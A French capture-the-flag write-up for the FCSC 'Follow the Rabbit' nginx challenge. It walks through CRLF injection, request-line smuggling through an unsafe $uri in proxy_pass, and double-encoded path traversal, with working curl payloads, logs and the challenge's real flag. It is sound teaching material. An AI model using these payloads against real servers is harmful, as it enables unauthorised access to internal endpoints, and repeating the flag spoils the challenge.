Follow the Rabbit
Tandis qu'Alice s'occupait de son jardin, elle est tombée sur un lapin blanc affolé.
Celui-ci, pressé, lui a demandé de le suivre.
Sans hésiter, Alice a décidé de le poursuivre dans son mystérieux terrier.
https://follow-the-rabbit.france-cybersecurity-challenge.fr
SHA256(follow-the-rabbit-public.tar.gz)
= 6d5af5b83e3c9d3d5bb556965440df80507406239e68ef94c03ba1482d99f411.
Analyse
Le challenge nous offre une archive contenant des fichiers docker ainsi que le code source de la configuration nginx.
docker-compose.yml:
version: '3'
services:
follow-the-rabbit:
build:
context: .
args:
FLAG: FCSC{flag_placeholder}
ports:
- 8000:80
Dockerfile:
FROM nginx:1.23.3-alpine
COPY src/nginx.conf /etc/nginx/nginx.conf
ARG FLAG
RUN echo "set \$flag \"${FLAG}\";" > /etc/nginx/flags.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
nginx.conf:
user nginx;
worker_processes 4;
events {
use epoll;
worker_connections 128;
}
http {
charset utf-8;
access_log /dev/stdout combined;
error_log /dev/stdout debug;
upstream @deeper {
server 127.0.0.1:8082;
}
server {
listen 80;
server_name _;
location ~* ^(.*)$ {
return 200 "I'm late! I'm late! For a very important date!";
}
location / {
return 200 "Oh dear, oh dear! I shall be too late!";
}
location /deeper {
proxy_pass http://@deeper$uri$is_args$args;
}
}
server {
listen 8082;
server_name deeper;
include flags.conf;
location /deeper {
add_header X-Original-Path "$uri";
add_trailer X-Trailer "Coming to a nginx close to you" ;
return 200 "No time to say hello, goodbye! I'm late! I'm late! I'm late!";
}
location /deepest {
return 200 "$flag";
}
}
}
En regardant la configuration nginx de plus prĂšs, on sait que l’on va devoir requĂȘter le endpoint /deepest
du server deeper
afin de récupérer le flag.
server {
listen 8082;
server_name deeper;
include flags.conf;
[snip]
location /deepest {
return 200 "$flag";
}
}
Le problÚme de taille est la regex qui récupÚre absolument tous les chemins sans exceptions, ou presque ?
location ~* ^(.*)$ {
return 200 "I'm late! I'm late! For a very important date!";
}
Effectivement, regex101 nous indique que le caractĂšre .
catch tout sauf un retour Ă la ligne. Cela semble ĂȘtre une premiĂšre piste.
Explication de la regex depuis le site regex101.
/deeper
En se baladant sur internet, on peut trouver différents moyens de bypass des directives location
dans une configuration nginx mais une seule attire mon attention.
L’utilisation de CRLF %0d%0a
(cf: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/nginx#unsafe-variable-use).
⯠curl http://127.0.0.1:8000/
I'm late! I'm late! For a very important date!
⯠curl http://127.0.0.1:8000/%0d%0aHeader:%20
Oh dear, oh dear! I shall be too late!
Super, on passe la premiĂšre regex, on ne devrait pas avoir de mal Ă se retrouver sur le endpoint /deeper
.
⯠curl --http0.9 http://127.0.0.1:8000/deeper%20HTTP/1.1%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!
Depuis Wireshark, si on regarde notre requĂȘte, on peut constater que celle que nous rĂ©alisons semble normal sans injection :
GET /deeper%20HTTP/1.1%0d%0aHeader:%20 HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: curl/7.81.0
Accept: */*
Cependant, Ă cause de $uri
, notre payload est interprété par nginx. On peut confirmer cela depuis le log de notre docker.
⯠curl --http0.9 http://127.0.0.1:8000/deeper%20HTTP/1.1%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!
follow-the-rabbit_1 | 127.0.0.1 - - [28/Apr/2023:15:11:30 +0000] "GET /deeper HTTP/1.1" 200 114 "-" "curl/7.81.0"
follow-the-rabbit_1 | 172.18.0.1 - - [28/Apr/2023:15:11:30 +0000] "GET /deeper%20HTTP/1.1%0d%0aHeader:%20 HTTP/1.1" 200 71 "-" "curl/7.81.0"
follow-the-rabbit_1 | 2023/04/28 15:11:30 [info] 30#30: *30 client 172.18.0.1 closed keepalive connection
⯠curl --http0.9 http://127.0.0.1:8000/deeper%20HTTP/1.9%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!
follow-the-rabbit_1 | 127.0.0.1 - - [28/Apr/2023:15:11:33 +0000] "GET /deeper HTTP/1.9" 200 114 "-" "curl/7.81.0"
follow-the-rabbit_1 | 172.18.0.1 - - [28/Apr/2023:15:11:33 +0000] "GET /deeper%20HTTP/1.9%0d%0aHeader:%20 HTTP/1.1" 200 71 "-" "curl/7.81.0"
follow-the-rabbit_1 | 2023/04/28 15:11:33 [info] 30#30: *33 client 172.18.0.1 closed keepalive connection
On remarque bien que si l’on change la version HTTP celle-ci est reflĂ©tĂ© GET /deeper HTTP/1.9
.
/deepest
Il ne nous reste plus qu’Ă requĂȘter le endpoint /deepest
pour rĂ©cupĂ©rer le flag. Mais de nouveau, c’est une autre paire de manche, comment rĂ©ussir Ă requĂȘter ce endpoint qui semble inaccessible au vu de la configuration nginx initial.
Toutes tentatives de header comme X-Original-URL
et X-Rewrite-URL
ne donnent un résultat probant.
⯠curl --http0.9 http://127.0.0.1:8000/deeper%20HTTP/1.9%0d%0aX-Original-URL:%20/deepest%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!
⯠curl --http0.9 http://127.0.0.1:8000/deeper%20HTTP/1.9%0d%0aX-Rewrite-URL:%20/deepest%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!
C’est alors qu’une idĂ©e me traversa la tĂȘte. Nginx vĂ©rifie que notre uri commence par deeper
pour l’envoyer au second endpoint.
On peut donc ajouter tout ce que l’on veut derriĂšre, cela ne sera pas pris en compte ?
⯠curl --http0.9 http://127.0.0.1:8000/deeperAETHER%20HTTP/1.9%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!
⯠curl --http0.9 http://127.0.0.1:8000/deeperFCSC%20HTTP/1.9%0d%0aHeader:%20
No time to say hello, goodbye! I'm late! I'm late! I'm late!
Flag
Pourquoi ne pas utiliser ..
? nginx pourra résoudre le chemin /deeper/../deepest
en /deepest
et le server deeper
nous renverra le flag.
Il nous suffit de double encoder notre /../
afin qu’il ne soit pas interprĂ©tĂ© par le premier serveur, mais seulement dĂ©codĂ©.
⯠curl --http0.9 http://127.0.0.1:8000/deeper%252f%252e%252e%252fAETHER%20HTTP/1.9%0d%0aHeader:%20
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.23.3</center>
</body>
</html>
follow-the-rabbit_1 | 2023/04/28 15:19:35 [error] 32#32: *57 open() "/etc/nginx/html/AETHER" failed (2: No such file or directory), client: 127.0.0.1, server: deeper, request: "GET /deeper%2f%2e%2e%2fAETHER HTTP/1.9", host: "@deeper"
follow-the-rabbit_1 | 127.0.0.1 - - [28/Apr/2023:15:19:35 +0000] "GET /deeper%2f%2e%2e%2fAETHER HTTP/1.9" 404 153 "-" "curl/7.81.0"
follow-the-rabbit_1 | 172.18.0.1 - - [28/Apr/2023:15:19:35 +0000] "GET /deeper%252f%252e%252e%252fAETHER%20HTTP/1.9%0d%0aHeader:%20 HTTP/1.1" 404 153 "-" "curl/7.81.0"
follow-the-rabbit_1 | 2023/04/28 15:19:35 [info] 31#31: *55 client 172.18.0.1 closed keepalive connection
Parfait, l’erreur /etc/nginx/html/AETHER" failed (2: No such file or directory)
nous montre bien que le payload est passé.
On rĂ©plique cela sur l’endpoint /deepest
pour récupérer le flag.
curl --http0.9 http://127.0.0.1:8000/deeper%252f%252e%252e%252fdeepest%20HTTP/1.9%0d%0aHeader:%20
FCSC{flag_placeholder}
⯠curl --http0.9 https://follow-the-rabbit.france-cybersecurity-challenge.fr/deeper%252f%252e%252e%252fdeepest%20HTTP/1.9%0d%0aHeader:%20
FCSC{429706b083581875b3af87c239f3d42a44d39e63991c4a2a3f63cde5d86b1b23}
flag: FCSC{429706b083581875b3af87c239f3d42a44d39e63991c4a2a3f63cde5d86b1b23}